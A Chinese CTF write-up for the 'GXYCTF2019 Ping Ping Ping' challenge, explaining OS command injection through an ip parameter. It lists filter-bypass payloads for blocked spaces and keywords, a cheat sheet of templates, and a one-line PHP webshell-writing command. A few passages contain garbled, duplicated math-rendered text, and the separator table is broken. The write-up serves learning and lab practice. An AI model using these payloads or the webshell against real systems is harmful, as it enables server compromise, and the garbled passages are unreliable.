GXYCTF2019Ping Ping Ping 命令注入实操笔记
平台 : CTF²
难度 : 简单
类型: Web / 命令注入(RCE)
目录
- 题目信息
- 完整解题流程
- 原理讲透:命令注入的本质
- 踩坑记录:六种失败方式逐个分析
- 最终解法原理
- 绕过空格的完整方法论
- 绕过关键字的完整方法论
- 实战什么时候想到这些招
- [payload 速查与万能模板](#payload 速查与万能模板)
- 关键经验总结
- 学到的教训与认知升级
一、题目信息
- 题目名称: GXYCTF2019Ping Ping Ping
- 靶机特征 :
/?ip=参数 - 页面功能: 模拟 ping 命令,输入 IP 地址执行 ping
二、完整解题流程
2.1 确认命令注入
http
GET /?ip=127.0.0.1;ls HTTP/1.1
返回 : 看到 flag.php 和 index.php ------ 命令注入成功!
; 是 shell 的命令分隔符,前面的 ping 127.0.0.1 执行完后会继续执行 ls。这个靶机的"ping"功能是把 ip 参数拼到系统命令里跑------典型命令注入入口。
2.2 读 flag
http
GET /?ip=127.0.0.1;a=g;cat$IFS$9fla$a.php HTTP/1.1
返回: flag 出现。
详细构造过程见第五节。
三、原理讲透:命令注入的本质
3.1 什么是命令注入
命令注入(Command Injection)= 服务器把用户输入直接拼到系统命令里执行,攻击者能塞入额外命令。
它和 SQL 注入、XSS 是一类问题(输入不可信),但威胁更大------一旦成功,直接拿到系统 shell,相当于服务器被你控制了。
3.2 这道题的执行链路
用户访问: /?ip=127.0.0.1
↓
PHP 后端: $cmd = "ping -c 4 " . $_GET['ip'];
↓
执行: shell_exec($cmd) → system($cmd)
↓
实际跑: ping -c 4 127.0.0.1
如果我们传 127.0.0.1;ls,实际执行:
bash
ping -c 4 127.0.0.1;ls
; 把命令分两段,前一段正常 ping,后一段 ls 列目录。命令注入的核心就是"用分隔符塞入额外命令"。
3.3 为什么会有这道题
开发者写 ping 功能时图省事,直接用字符串拼接用户输入:
php
$ip = $_GET['ip'];
system("ping -c 4 $ip"); // 错误示范
正确做法是用 escapeshellarg() 包裹用户输入,或者干脆不用 system(),改用专门库。正因为有大量这种"图省事"的代码,命令注入才长期占据 OWASP Top 10。
四、踩坑记录:六种失败方式逐个分析
这部分是这道题最值得讲的------所有"踩坑"背后都对应着一种绕过技术。每种失败都要搞清楚是被哪种机制拦下来的,下次遇到类似过滤能直接套。
坑 1:直接 cat flag.php 失败
http
GET /?ip=127.0.0.1;cat flag.php HTTP/1.1
报错 : /f*ck your flag!
根因分析:
这里同时有两个问题:① flag 关键字被检测(字符串里出现"flag"整词);② 空格可能也被过滤了。但报错是"f*ck your flag!"------明确指向 flag 关键字。空格是否被过滤需要单独验证(坑 2 给了答案:是)。
绕过的方向就两条路:绕空格 (让命令能跑起来)+ 绕关键字(让"flag"不连着出现)。
坑 2:尝试 ${IFS} 绕过空格
http
GET /?ip=127.0.0.1;cat${IFS}flag.php HTTP/1.1
报错 : /f*ck your symbol!
根因分析:
${IFS} 是 bash 的内部字段分隔符变量(Internal Field Separator),默认是空格、制表符、换行。在命令行里 ${IFS} 能当空格用。
先排除一个错误判断 :很多教程会写"{IFS} 失败说明 被过滤了"------这是错的。本题最终 payload cat$IFS$9fla$a.php 里到处都是 $ 字符,并且跑通了,所以 $ 字符本身绝对没被过滤。
那这次为什么报"f*ck your symbol!"(注意没有 "flag" 字样)?最可能的解释有两种:
- 大括号
{}被过滤 (${IFS}写法必带花括号) - 字符串
IFS被过滤(出现 IFS 字面量就拦)
仅凭这一条报错无法直接区分,要靠"对照组"判断:
| 验证 payload | 如果能过 | 如果拦了 |
|---|---|---|
cat$IFS flag.php(不带花括号) |
证实花括号是问题 | 说明 IFS 字符串本身被拦 |
cat flag${x}file.php(花括号但不是 IFS) |
证实仅 IFS 字符串被拦 |
证实花括号被拦 |
cat{IFS}flag.php(无 $ 只有花括号 + IFS) |
单独花括号没事 | 配合 IFS 一起被拦 |
推断 :结合坑 3 $IFS$9 能成功(不含花括号),本题最可能是大括号 { } 被过滤 。但这个推断没经过直接验证,是基于"哪个假设能同时解释坑 2 和坑 3"反推的,不百分百严谨。严谨做法是把上面的对照表试一遍。
坑 3:尝试 $IFS$9
http
GET /?ip=127.0.0.1;cat$IFS$9flag.php HTTP/1.1
失败 : flag 关键字还是被检测到
根因分析:
$IFS$9 是绕过空格的另一种写法。原理:$IFS 是 bash 内部变量(值是空格/tab/换行),$9 是这个 shell 的第 9 个位置参数(一般不存在,值为空字符串)。$9 在 Linux bash 下作为"占位符"跟在 $IFS 后面,作用是防止某些特殊解析------这是 bash 的一个边角特性。两者拼接 $IFS$9 整体等价于一个空格,且不含花括号。
注意 :$IFS$9 跑通了,结合坑 2 报错,能反推几个关键结论:
$字符没被过滤 (否则$IFS$9也会被拦)- 空格确实被过滤 (否则一开始
cat flag.php不会失败) flag关键字被过滤(最终被这个拦了)
至于"为什么 ${IFS} 失败而 $IFS$9 成功"------只能确认花括号 { } 是关键差异 (见坑 2 分析),但严格说需要对照组 payload 才能完全证实,单凭这两条下结论属于合理推断但非铁证。
坑 4:尝试通配符 * 和 ?
http
GET /?ip=127.0.0.1;cat fl*.php HTTP/1.1
GET /?ip=127.0.0.1;cat fl?g.php HTTP/1.1
报错 : f*ck your symbol!
根因分析:
fl*.php 想用通配符 * 匹配 flag.php,fl?g.php 想用 ? 匹配一个字符。两者都被拦了------/ 后面跟 f*ck 这种字眼说明符号被过滤(* 和 ? 都是 shell 通配符)。
为什么不能简单"通配绕过":
通配符在 shell 里是 glob 模式,由 shell 自己展开。但本题显然在 system() 调用前用 PHP 做了字符串检查,匹配到 * ? [] 这些 shell 特殊字符就直接拦下。这是"在系统层之前就拦"的思路,不让恶意 payload 到达 shell。
坑 5:尝试 [] 字符集
http
GET /?ip=127.0.0.1;cat fl[a]g.php HTTP/1.1
报错 : f*ck your symbol!
根因分析:
fl[a]g.php 想用字符集 fl[a]g 匹配 flag(a 命中字符集里的 a)。[ 和 ] 也是 shell 通配符,被一并拦了。说明本题对 shell 通配符的过滤是组合拳:* ? [] 全都过不去。
坑 6:完整变量赋值失败
http
GET /?ip=127.0.0.1;a=fl;b=ag;cat$IFS$9$a$b.php HTTP/1.1
失败原因 :$b 变量值是 ag,拼起来 $a$b = flag,仍然触发 flag 关键字过滤
根因分析(很多人栽在这):
变量赋值的本质是 shell 的字符串拼接。a=fl 让 $a 替换为 fl,b=ag 让 $b 替换为 ag,所以 $a$b 最终是 flag------和直接写 flag 没区别 。PHP 后端的检查发生在 system() 调用前,它检查的是 $_GET['ip'] 这个原始字符串,而不是命令最终拼接结果。所以你无论怎么分,ip 参数里只要包含 flag 这个子串(首尾相连),就会被拦。
所以正确做法不是"把 flag 拆成两段",而是"让 flag 永远不完整出现" 。fla$a 这种写法, a 变量是 ' g ' ,但 i p 字符串里只有 ' f l a ' + ' a 变量是 `g`,但 ip 字符串里只有 `fla` + ` a变量是'g',但ip字符串里只有'fla'+'a+.php,没有任何位置出现 flag` 这个连续子串------服务器黑名单查不到,绕成功。
五、最终解法原理
payload
http
GET /?ip=127.0.0.1;a=g;cat$IFS$9fla$a.php HTTP/1.1
前置验证:这个 payload 跑通了,反过来证明:
$字符没被过滤(payload 里有两个$IFS$9和$a)- 空格被过滤了(必须用
$IFS$9占位) flag关键字被过滤了(fla$a拆分后才过)- 完整
flag字符串不能连续出现(a=g只赋值最后一个字符)
逐段拆解
| 部分 | 含义 |
|---|---|
127.0.0.1 |
合法 IP,让前面的 ping 命令正常跑(也可以省略,反正要 flag) |
; |
命令分隔符,结束 ping,开始新命令 |
a=g |
shell 变量赋值:让 $a 在后续命令中等于 g |
cat |
读文件命令 |
$IFS$9 |
空格占位(绕过空格过滤) |
fla |
字符串片段 fla(永远不完整) |
$a |
变量引用,运行时被替换为 g |
.php |
文件扩展名 |
命令执行全过程
bash
ping -c 4 127.0.0.1; a=g; cat $IFS$9 fla$g .php
shell 实际执行时:
ping 127.0.0.1(先 ping 一下,没意义但合法)a=g(定义变量)cat fla$g.php(变量 a 展开成 g , a 展开成 g, a展开成g,IFS$9 当空格)
最终命令:cat flag.php ------ 但这一步发生在 shell 内部,PHP 的关键词检查看不到。
为什么这招能绕
关键洞察:PHP 端检查的是 URL 里的原始字符串,shell 端执行的是命令解析后的最终字符串。两者是两个不同的时机。
- PHP 黑名单扫 ip 参数:找到
fla$a.php字符串,没有flag子串 → 通过 - shell 解析命令:把
$a替换成g,得到cat flag.php→ 执行成功
这就是"在 server 端做检查"和"在 shell 端做展开"的时间差攻击。
六、绕过空格的完整方法论
空格绕过的本质:shell 在解析命令时,把多个 token 用 IFS(默认空格/tab/换行)分开。只要能塞一个"等价于空格"的分隔符进去,命令就能跑。
| 方法 | 原理 | payload 示例 | 限制 |
|---|---|---|---|
| 空格 | 原生分隔符 | cat flag.php |
最直接,被拦就用别的 |
Tab (%09) |
同样是 IFS | cat%09flag.php |
有时也被拦 |
${IFS} |
bash 内部变量 | cat${IFS}flag.php |
本题大括号 {} 被过滤 (或 IFS 字符串被拦);$ 本身没被过滤(见坑2) |
$IFS$9 |
IFS + 位置参数占位 | cat$IFS$9flag.php |
本题可过 |
< 重定向 |
输入重定向符 | cat<flag.php |
本题 < 被拦 |
> file |
输出到文件(多步) | echo flag>1.txt |
复杂但通用 |
'' 拼接 |
空字符串 | cat''flag.php |
本题 ' 被拦 |
{} 逗号 |
bash 大括号扩展 | {cat,flag.php} |
较冷门,部分环境不支持 |
| URL 编码 | %20 / + |
cat%20flag.php |
后端 URL 解码后会还原为真空格 |
| 注释符 | cat%0aflag.php |
换行符也是 IFS | 同样需后端不解码 |
**$IFS 9 为啥能用 ∗ ∗ : ' 9 为啥能用**:` 9为啥能用∗∗:'IFS 是 bash 的内部字段分隔符变量, 9 ' 是第 9 个位置参数(通常不存在,是空字符串)。两者拼接 ' 9` 是第 9 个位置参数(通常不存在,是空字符串)。两者拼接 ` 9'是第9个位置参数(通常不存在,是空字符串)。两者拼接'IFS 9 ' 整体是 ' ' (空格),但避免了 ' 9` 整体是 ` `(空格),但避免了 ` 9'整体是''(空格),但避免了'{IFS}` 这种被黑名单的写法。
小知识 :Linux 和 macOS 的 bash 对
$9行为略有差异,但 IFS9 在 Linux CTF 靶机里通用。
七、绕过关键字的完整方法论
关键字绕过的本质:让目标字符串(flag)不出现在原始 URL 里,但在 shell 执行时拼出来。
| 方法 | 原理 | payload | 本题可用 |
|---|---|---|---|
| 直接写 | 原字符串 | cat flag.php |
否 |
* 通配符 |
shell glob | cat fl*.php |
否(* 拦) |
? 单字符通配 |
shell glob | cat fl?g.php |
否(? 拦) |
[] 字符集 |
shell glob | cat fl[a]g.php |
否([] 拦) |
| 完整变量拼接 | $a$b 展开 |
a=fl;b=ag;cat$a$b.php |
否($a$b 拼出 flag) |
| 片段变量拼接 | $a 只放一段 |
a=g;cat fla$a.php |
是 |
| 反斜杠 | f\l\a\g |
shell 不会展开 \ |
否(一般不推荐) |
| 引号嵌套 | fl""ag |
shell 拼接后等于 flag |
否(PHP 端仍能看到 flag 子串) |
| 编码 | base64 / hex | `echo ZmxhZy5waHA= | base64 -d` |
| 内联执行 | cmd |
反引号执行命令 | 看环境 |
| 十六进制字面量 | $'\x66\x6c\x61\x67' |
bash 支持 | 通用 |
核心要点:要么用"让服务器检查时看不到完整关键字",要么用"让命令运行时才拼出来"。本题选的是前者。
八、实战什么时候想到这些招
这是新手的核心问题------看到一道 RCE 题,思路该怎么展开?
8.1 看到 ?ip= 时的第一反应
参数名带 ip / host / url / cmd / exec / ping / domain 等词,且值会回显到页面上 → 高度怀疑命令注入。
第一招永远用:;ls、|ls、||ls、&&ls、&ls 试一遍,看哪个能多执行命令。
| 分隔符 | 含义 | 适用场景 |
|---|---|---|
; |
无论前面成不成功都执行 | 最常用 |
| ` | ` | 管道,前一个的输出作为后一个的输入 |
| ` | ` | |
&& |
前面成功才执行 | 配合"探测"逻辑 |
& |
后台执行 | 容易出问题,少用 |
%0a |
换行(URL 编码) | 后端不解码时用 |
8.2 命令能跑之后,第二步
确认能塞命令后:
;ls看目录结构,找到 flag 文件在哪;cat flag试一下,看看错误信息提示什么
错误信息非常关键。/f*ck your flag! 直接告诉你关键字被拦了,且拦截发生在参数解析层(PHP 端)。
8.3 看到"f*ck"类提示时的判断
/f*ck your flag! → 字符串里出现 "flag" 子串
/f*ck your symbol! → 出现了特殊字符(* ? [ ] $ 等)
/f*ck your space! → 出现了空格
不同提示对应不同绕过方向。
8.4 一句话总结识别口诀
命令注入识别顺序:
看到 ip/host/cmd 类参数 + 回显 → 试 ;ls → 看到 flag 文件 → 试 cat flag
↓ 报错
看错误信息判断拦的是关键字/空格/符号
↓
分头绕:空格走 $IFS$9,关键字走变量拼接
↓
通配 / 通杀试
8.5 决策树
cat flag.php 失败
├─ 报错 "flag" → 关键字过滤
│ ├─ 试通配符 * ? []
│ │ └─ 通配符也拦 → 改用变量拼接
│ └─ 直接用变量赋值拆解
│
└─ 报错 "space" / 别的 → 空格过滤
├─ $IFS$9
├─ < 重定向
└─ URL 编码(看后端解码情况)
九、payload 速查与万能模板
9.1 本题最终 payload
?ip=127.0.0.1;a=g;cat$IFS$9fla$a.php
9.2 命令注入通用模板
仅空格被过滤:
bash
cat$IFS$9flag.txt
cat<flag.txt
{cat,flag.txt}
仅关键字被过滤(空格可用):
bash
a=fl;b=ag;cat $a$b.txt # 大多数情况会被拦(拼出 flag)
a=g;cat fla$a.txt # 拆开变量赋值,绕
空格 + 关键字都被过滤(本题情况):
bash
a=g;cat$IFS$9fla$a.txt # 本题答案
其他万能招:
bash
# 编码绕过
echo ZmxhZy50eHQ=|base64 -d|tee 1.txt # 复杂但通用
# 内联十六进制
fla$'\x67'.txt # bash 支持
# 字符串拼接
fl''ag.txt # 空引号拼接(看环境)
# 用变量赋值绕完整关键字
b=ag;cat$IFS$9fl$b.txt # 另一种拆法
# 写文件 + 读
echo "<?=system('cat /flag');?>" > a.php # 写马
9.3 一行测试代码(提取自 CTF² 实战)
bash
?ip=127.0.0.1;echo$IFS$9$PATH
这招用于探测服务器环境(不是每个变量都拦),同时验证空格绕过是否有效。
十、关键经验总结
10.1 命令注入绕过速查表
| 过滤类型 | 绕过方案 |
|---|---|
| 空格 | $IFS、<、{}、Tab、URL 编码 |
flag 等关键字 |
变量赋值拆解、通配符、编码 |
$ |
改用其他方式绕空格 |
* ? [] |
用变量赋值代替通配 |
; ` |
` |
cat |
改用 tac more less head tail nl od xxd |
10.2 调试思路
- 先测基础 :
127.0.0.1;ls测命令分隔符;是否可用 - 再测回显 :
;echo test确认命令输出能回显到页面 - 再读文件 :
;cat flag看错误提示 - 最后拆解: 根据错误信息判断过滤类型,分头绕
10.3 常见误区
- 误区 1:
a=fl;b=ag;cat $a$b.php------ 变量值拼起来还是flag,触发过滤 - 误区 2:以为通配符一定有用 ------ 很多靶机会把
*?[]一起拦 - 误区 3:以为
cat被拦就完全没招 ------tacmorelessheadtail都能读文件 - 误区 4:直接堆砌 payload 不分析错误信息 ------ 错误信息是最重要的线索
十一、学到的教训与认知升级
11.1 教训
| 错误 | 正确思路 |
|---|---|
| 试一堆 payload 都不通就懵 | 先看错误信息判断过滤类型,再针对性绕 |
| 通配符失败就放弃 | 通配符失败 → 改用变量赋值 + 字符串拼接 |
| 变量赋值都设完整关键字 | 变量值要"少"------只赋值不完整的一段 |
11.2 认知升级
1. 报错信息是金矿
/f*ck your flag! 这种带脏话的报错其实是出题人在帮你------明确告诉你拦的是 flag。新手常忽略错误信息,或者只看"失败"不看具体内容,这是最大的浪费。
2. 时间和层级的错位是绕过核心
命令注入绕过的本质都是"让检查层看不到,让执行层看到"。PHP 黑名单扫原始字符串,shell 在执行时做变量展开------两个时机不同,就是攻击空间。
3. 变量赋值要"少"才安全
a=fl;b=ag 这种看似分开了,但 $a$b 拼起来还是 flag,字符串里照样出现完整关键字。a=g 只赋值一段才稳。
4. 命令注入不是"试运气",是"分析过滤"
每试一个 payload 失败,都要把"为什么失败"搞明白。被拦的是关键字?空格?符号?只有搞清拦截维度,才能针对性绕。
5. 通配符 vs 变量赋值
- 通配符绕的是 shell glob 展开层,依赖 shell 端 glob 解析
- 变量赋值绕的是字符串匹配层,依赖 shell 端变量展开
前者依赖 * ? [] 这些字符能传到 shell,后者依赖 $a 形式能传到 shell。两者方向不同,但都能绕关键字匹配。
6. 进阶:写文件 + 包含
如果所有读文件命令都被拦了,还有最后一招:写一个 PHP 文件包含 flag。echo "<?php include '/flag';?>" > a.php,然后访问 a.php。这种"写马"思路在真实渗透里也常用。
附:真实 flag
CTF2{cca12967-2b6b-4f9b-a568-e00f3ec06586}
容器环境每次启动 flag 不同,本笔记里的 flag 仅作格式参考。复现时以你实际拿到的为准。
附:核心原理速记卡
记这 3 条就够应付 80% 的命令注入题:
- 空格 :
$IFS$9(Linux bash 通用) - 关键字 :
a=片段;cat 固定$a.php(只赋值不完整的一段) - 试命令 :
;ls试分隔符 → 看错误信息 → 针对性绕
剩下的就是熟能生巧------多做几道 RCE 题,遇到不同过滤组合自然就会拆招了。